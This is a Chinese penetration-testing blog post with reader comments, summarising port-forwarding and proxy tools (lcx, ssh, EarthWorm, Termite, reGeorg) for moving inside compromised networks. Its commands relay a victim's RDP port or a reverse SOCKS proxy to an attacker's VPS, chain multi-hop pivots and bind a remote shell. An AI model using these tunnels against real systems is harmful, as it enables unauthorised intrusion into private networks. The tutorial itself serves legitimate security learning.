端口转发和网络代理相关工具总结

文章最后更新时间为:2019年07月17日 10:56:26

在进行内网渗透的过程中,端口转发和网络代理是肯定会用到的,基本上不同的场景需要用到不同的工具,本文简单记录一下目前比较流行的端口转发和代理工具。

阅读前需要了解:

  • 端口转发和网络代理的区别
  • 远程端口转发与本地转发的区别
  • 正向代理和反向代理的区别

lcx

这是一款很经典的端口转发工具,只支持windows。经常被用来转发内网的3389端口。但很容易被杀软检测出来,写文章时我搜了几个自称免杀的版本,但是都没过去本地的卡巴斯基,不推荐使用。下面简单记录一下用法:

  • 转发本地3389到公网

    # 执行完后连接公网vps的5555端口就等于连接受害机的3389
    
    # 1.公网vps执行
    lcx.exe -listen 4444 5555
    
    # 2.受害机执行
    lcx.exe -slave <vps ip> 4444 127.0.0.1 3389  
  • 本地端口转发

    # 受害机将本地的21端口的流量转发到本地的3389端口
    # 执行完后连接受害机的21端口就相当于连接受害机的3389端口
    lcx.exe -tran 21 127.0.0.1 3389

    ssh

ssh可以做端口转发,详细的介绍以前写过,详细用法参考:https://saucer-man.com/operation_and_maintenance/217.html

# 动态端口转发,可用作代理
ssh -N -D local-port tunnel-host 

# 本地端口转发
ssh -N -L local-port:target-host:target-port  tunnel-host 

# 远程端口转发
ssh -R local-port:target-host:target-port local

Earthworm

Earthworm可以用作端口转发、SOCKS代理。

项目主页:http://rootkiter.com/EarthWorm/

如官网所说,EW 是一套便携式的网络穿透工具,具有 SOCKS v5服务架设和端口转发两大核心功能,可在复杂网络环境下完成网络穿透。虽然已停止更新,但其功能已足够日常使用。

下面是其基本用法:

  • 正向代理

    ./ew -s ssocksd -l 1080
    # 在主机A上通过这个命令开启 1080 端口的 socks 代理
    # 其作用就类似于shadowsocks
    +---------+     +-------------------------+  
    | Hacker  | --> | <受害者ip>:1080--> 内网 |
    +---------+     +-------------------------+
  • 反向SOCKS5代理
    假设受害机处于内网,我们无法直接连接,那么我们直接将其作为正向代理也没用,这种情况可以使用反向代理。
# 先在一台具有公网 ip 的主机A上运行以下命令:
./ew -s rcsocks -l 1080 -e 8888 

# 在目标主机B上启动 SOCKS v5 服务 并反弹到公网主机的 8888端口
./ew -s rssocks -d <vps ip> -e 8888 

# 接下来可以代理A的1080端口进入B内网
+---------+     +-------------------------+  
| Hacker  | --> | <vps-ip>:1080--> 内网   |
+---------+     +-------------------------+
  • 端口转发

    # 基本和lcx类似
    
    1.正向端口转发
    # 接受本地1080端口的流量,转发到forward-ip的9999端口
    # 实际访问本地1080端口,就相当于访问forward-ip的9999端口
    ./ew -s lcx_tran -l 1080 -f <forward-ip> -g 9999
  • 远程端口转发

    首先在公网A上执行

    ./ew -s lcx_listen -l 1080 -e 1234

    接着在内网B上执行

    ./ew -s lcx_slave -d -e 1234 -f -g 3389

    此时A会将1080接受到的流量转发到A的1234端口,B会接受到流量,并且转发到forward-ip的3389端口。

  • 二级级联

    1.情况一 内网B与公网A互通
                 +------不通--------+
                 |                  |
    攻击者<------->B------->C<----->内  网
    |                       |
    +------不通-------------+
    # C在本地建立socks5代理,端口为1080
    ./ew -s ssocksd -l 1080
    # B把来自外部的1090端口的流量转到内网C这台机器的1080端口上
    ./ew -s lcx_tran -l 1090 -f <c-ip> -g 1080
    # 接下来以B的1090为代理即可进入内网
    
    2.情况二 内网B没有公网ip,只能访问外网
    
                 +------不通--------+
                 |                  |
    攻击者<--------B------->C<----->内  网
    |                       |
    +------不通-------------+
    # 攻击者首先把来自外部的1080端口的流量转到本地的1234端口上
    ./ew -s lcx_listen -l 1080 -e 1234
    
    # C在本地建立socks5代理,端口为8080
    ./ew -s ssocksd -l 8080
    
    # B远程端口转发,将来自攻击者1234端口的流量转发到C的8080端口
    ./ew -s lcx_slave -d <攻击者-ip> -e 1234 -f <C-ip> -g 8080
    
    # 此时以攻击者的1080端口为代理,可进入内网
  • 三级级联
    官网示例

    ./ew -s rcsocks -l 1080 -e 8888
    ./ew -s lcx_slave -d 127.0.0.1 -e 8888 -f 127.0.0.1 -g 9999
    ./ew -s lcx_listen -l 9999 -e 7777
    ./ew -s rssocks -d 127.0.0.1 -e 7777
    数据流向: SOCKS v5 -> 1080 -> 8888 -> 9999 -> 7777 -> rssocks

Termite

作为ew的升级版,Termite同样是一个集成端口转发和代理功能的工具。

项目主页: http://rootkiter.com/Termite/

用法copy自官网:

1. 以服务模式启动一个agent服务。

> $ ./agent -l 8888

2. 令管理端连接到agent并对agent进行管理。

> $ ./admin -c 127.0.0.1 -p 8888

3. 此时,admin端会得到一个内置的shell, 输入help指令可以得到帮助信息。

>> help

4. 通过show指令可以得到当前agent的拓扑情况。

>> show 
 0M
 +-- 1M
 由于当前拓扑中只有一个agent,所以展示结果只有 1M ,
  其中1 为节点的ID号,
  M为MacOS系统的简写,Linux为L,Windows简写为W。

5. 将新agent加入当前拓扑
> ./agent -c 127.0.0.1 -p 8888

6. 此时show指令将得到如下效果
 0M
 +-- 1M
 |   +-- 2M
  这表明,当前拓扑中有两个节点,其中由于2节点需要通过1节点才能访问,所以下挂在1节点下方。

7. 在2节点开启socks代理,并绑定在本地端口
>> goto 2
    将当前被管理节点切换为 2 号节点。
>> socks 1080
   此时,本地1080 端口会启动个监听服务,而服务提供者为2号节点。

8. 在1号节点开启一个shell并绑定到本地端口
>> goto 1
>> shell 7777
     此时,通过nc本地的 7777 端口,就可以得到一个 1 节点提供的 shell.

9. 将远程的文件下载至本地
>> goto 1
>> downfile 1.txt 2.txt
    将1 节点,目录下的 1.txt 下载至本地,并命名为2.txt

10. 上传文件至远程节点
>> goto 2
>> upfile 2.txt 3.txt
    将本地的 2.txt 上传至 2号节点的目录,并命名为3.txt

11. 端口转接
>> goto 2 
>> lcxtran 3388 10.0.0.1 3389
    以2号节点为跳板,将 10.0.0.1 的 3389 端口映射至本地的 3388 端口

reGeorg

reGeorg是reDuce的后继者,可创建SOCKS代理。其是基于web server创建的,可支持aspx|ashx|jsp|php

项目地址为:https://github.com/sensepost/reGeorg

用法大概如下:

此时就可以以本地1080端口为代理,进入http://xxx.com的内网。

Proxifier + proxychains

之所以将其放在一起,因为这两个都是代理客户端,proxifier是windows下的代理软件,而proxychains是基于linux平台的。
其项目地址分别为:

由于是代理客户端,所以也不需要进行复杂的配置,基本上填好代理服务器的地址和端口就好,怎么使用就没必要多介绍了。

参考

https://www.bodkin.ren/index.php/archives/677/

1 + 1 =
6 评论
    BBQ Chrome 76 OSX
    2019年08月29日 回复

    有没有编译好的狗洞.

    Ghost_Key Firefox Browser 67 Windows 10
    2019年07月16日 回复

    先来一句:sacuer-man师傅牛皮!当初因为我在打upload-labs靶场,在某谷上找WriteUp,凑巧点开师傅你写《upload-labs writeup》这篇文章(小声bb,多多感谢师傅这篇文章),从而观看-投币-收藏三连,一直在追师傅你的新文章。师傅12号新出的这篇文章,我有些使用方法问题想请教下sacuer-man师傅你,还望师傅不嫌我问的问题菜,烦请师傅解答下(捂脸)。
    在lcx部分教程,师傅不是一开始说lcx仅在windows平台上运行么?还有师傅在演示的代码块开篇提到:#执行完后连接公网vps的5555端口就等于连接受害机的3389 那接下来师傅演示的用法没看明白,就是#公网vps执行 lcx -listen 4444 5555这一操作演示部分,看演示用法,猜测这个公网vps应该是某linux系统,但师傅你说的lcx只支持windows平台,怎么能运行呢?(多多疑惑) 其次,师傅你说的连接公网vps的5555端口就等于连接受害机的3389 这块-listen 4444 5555 怎么多出个4444端口?不应只监听5555端口么?这两处没明白,还请师傅指点我下。

      saucerman Chrome 75 Windows 10
      2019年07月16日 回复

      @Ghost_Key lcx原版只支持windows,文章中说的vps代表的是windows服务器,这里写的有点模糊。(现在也有别人写的linux版本的lcs,我没用过)。

        saucerman Chrome 75 Windows 10
        2019年07月16日 回复

        @saucerman lcx执行的时候,流量进入服务器的5555端口,就会被服务器转发到4444端口,然后再到受害者的3389端口,这里的4444相当于一个中转。

          Ghost_Key Firefox Browser 67 Windows 10
          2019年07月16日 回复

          @saucerman 通过师傅的指点,俺基本明白了。在lcx将5555端口流量中转到4444端口那里,我有点问题,想再次请教师傅你,不知可否不用4444端口作为流量中转,直接将vps的5555端口流量转发到受害机的3389端口呢?[疑惑] 这里我其实还没明白师傅为何要将vps的5555端口流量中转到4444端口,之后再连接到受害机的3389端口,为何需要中转端口流量呢?请师傅再详细指点我这处疑问。(还请师傅不厌我烦,多多感谢)

            saucerman Chrome 75 Windows 10
            2019年07月16日

            @Ghost_Key 其实远程端口转发是不用4444端口做中转的,这点可以参考ssh远程端口转发。但是lcx为什么需要两个端口,这点你理解其设计思想就好了,我大概讲一下:vps执行命令后,将会创建两个socket,一个是攻击者的某个端口和vps的5555端口,一个是受害者的3389端口和vps的4444端口。同时创建一个子线程,用于4444和5555之间的数据转发,攻击者发送流量到vps的5555端口后,这个子线程将流量转发给与vps 4444端口连接的受害者。
            为什么这么写,我觉得可能是因为这么写比较简单吧,如果只用一个端口(类比ssh),那么需要监听这个端口的所有新的旧的socket,将流量转发给这个socket,这个就涉及到网卡的选择部分了,所以写起来用起来比较复杂。
            上面是我个人理解,水平有限,你可以看看lcx源码https://github.com/987432340/LCX/blob/master/Lcx.cpp。讨论技术不用太客气,欢迎交流指正。